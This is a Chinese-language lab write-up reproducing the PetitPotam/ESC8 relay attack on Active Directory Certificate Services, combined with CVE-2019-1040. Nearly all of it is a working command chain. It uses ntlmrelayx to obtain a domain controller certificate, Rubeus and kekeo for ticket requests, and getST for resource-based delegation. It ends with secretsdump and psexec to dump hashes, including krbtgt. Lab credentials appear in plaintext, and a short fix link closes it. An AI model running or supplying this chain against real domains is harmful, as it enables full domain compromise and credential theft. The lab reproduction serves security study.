PetitPotam漏洞复现(ESC8)结合CVE-2019-1040
环境搭建
主机 | 机器名 | ip | 用户 | 密码 | 版本 |
---|---|---|---|---|---|
域控1 | ad.test.com | 192.168.164.147 | administrator | Aa1234 | win2012r2 |
域控2 | ad2.test.com | 192.168.164.146 | administrator | Aa1234 | win2012r2 |
域内机器 | user.test.com | 192.168.164.129 | user1 | Uu1234. | win2008r2 |
kali | 192.168.164.128 | 192.168.164.128 | xxx | xxx | kali |
配置证书服务参考
https://cloud.tencent.com/developer/article/1474965
不过不需要配置证书模板,只需要保证证书模板可用即可
查看智能卡服务是否开启
certutil -scinfo
现在是开启状态,否则为智能卡资源管理器未运行
打开智能卡服务
gpedit.msc
计算机配置——管理模块——windows组件——智能卡-打开智能卡即插即用服务
services.msc
配置smart card 为自动 启动
重启
漏洞复现
这个漏洞的利用条件
1.未打adcs的补丁
2.有两台域控
3.有adcs服务
查找域内ca机器
certutil -
使用ldapsearch
ldapsearch -x -H ldap://192.168.164.146 -D "user1@test.com" -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=test,DC=com" -w Uu1234. "(objectCategory=pKIEnrollmentService)"|grep dNSHostName
或者
ldapsearch -x -H ldap://192.168.164.146 -D "user1@test.com" -b "CN=Configuration,DC=test,DC=com" -w Uu1234. "(objectCategory=pKIEnrollmentService)"|grep dNSHostName
因为证书服务是安装在第二台域控的,ip需要对应,请求的模板是域控需要存在的
python3 ntlmrelayx.py -t http://192.168.164.146/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
触发PetitPotam
python3 Petitpotam.py 192.168.164.128 192.168.164.147
使用kekeo
kekeo "base64 /input:on" "tgt::ask /user:ad$ /domain:test.com /pfx:MIIRRQIBA..." "exit"
将kirbi转换成ccache
git clone --depth=1 https://github.com/eloypgz/ticket_converter
cd ticket_converter
python3 ticket_converter.py TGT_ad\$@TEST.COM_krbtgt\~test.com@TEST.COM.kirbi tgt.ccache
使用rubeus
可以通过代理使用
Rubeus.exe asktgt /user:ad$ /certificate:MIIRRQIBA... /domain:test.com /dc:ad2.test.com
将base64的kirbi转换成ccache
git clone https://github.com/SolomonSklash/RubeusToCcache
cd RubeusToCcache
pip3 install -r requirements.txt
python3 rubeustoccache.py doIFS... 123.kirbi 222.ccache
将kirbi转换成ccache
git clone https://github.com/eloypgz/ticket_converter
cd RubeusToCcache
pip3 install -r requirements.txt
python3 ticket_converter.py TGT_ad\$@TEST.COM_krbtgt\~test.com@TEST.COM.kirbi tgt.ccache
使用票据
export KRB5CCNAME=222.ccache&&getST.py -no-pass -k -spn ldap/ad.test.com test.com/ad\$ -dc-ip 192.168.164.147
export KRB5CCNAME=ad\$.ccache&&secretsdump.py -no-pass -k -dc-ip 192.168.164.147 ad.test.com
结合CVE-2019-1040
添加计算机账户
python3 addcomputer.py -method SAMR -dc-ip 192.168.164.146 -computer-name rbcd1 -computer-pass 123456 "test.com/user1:Uu1234."
开启中继
python3 ntlmrelayx.py -t ldap://192.168.164.146 -debug --delegate-access --escalate-user rbcd1\$ -smb2support --remove-mic
触发PetitPotam
python3 Petitpotam.py 192.168.164.128 192.168.164.147
获取票据
这里我重新搭建了域环境,所以机器名变了
python3 getST.py -dc-ip 192.168.164.146 test/rbcd1\$:123456 -spn cifs/father2.test.com -impersonate administrator
加载票据使用
export KRB5CCNAME=administrator.ccache
psexec.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com
secretsdump.py -no-pass -k -dc-ip 192.168.164.147 father2.test.com -just-dc-user test/krbtgt
修复方案
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-36942
微软在8.10更新安全补丁
参考文章
https://github.com/GhostPack/Rubeus
https://github.com/SecureAuthCorp/impacket/pull/1101
https://github.com/gentilkiwi/kekeo/releases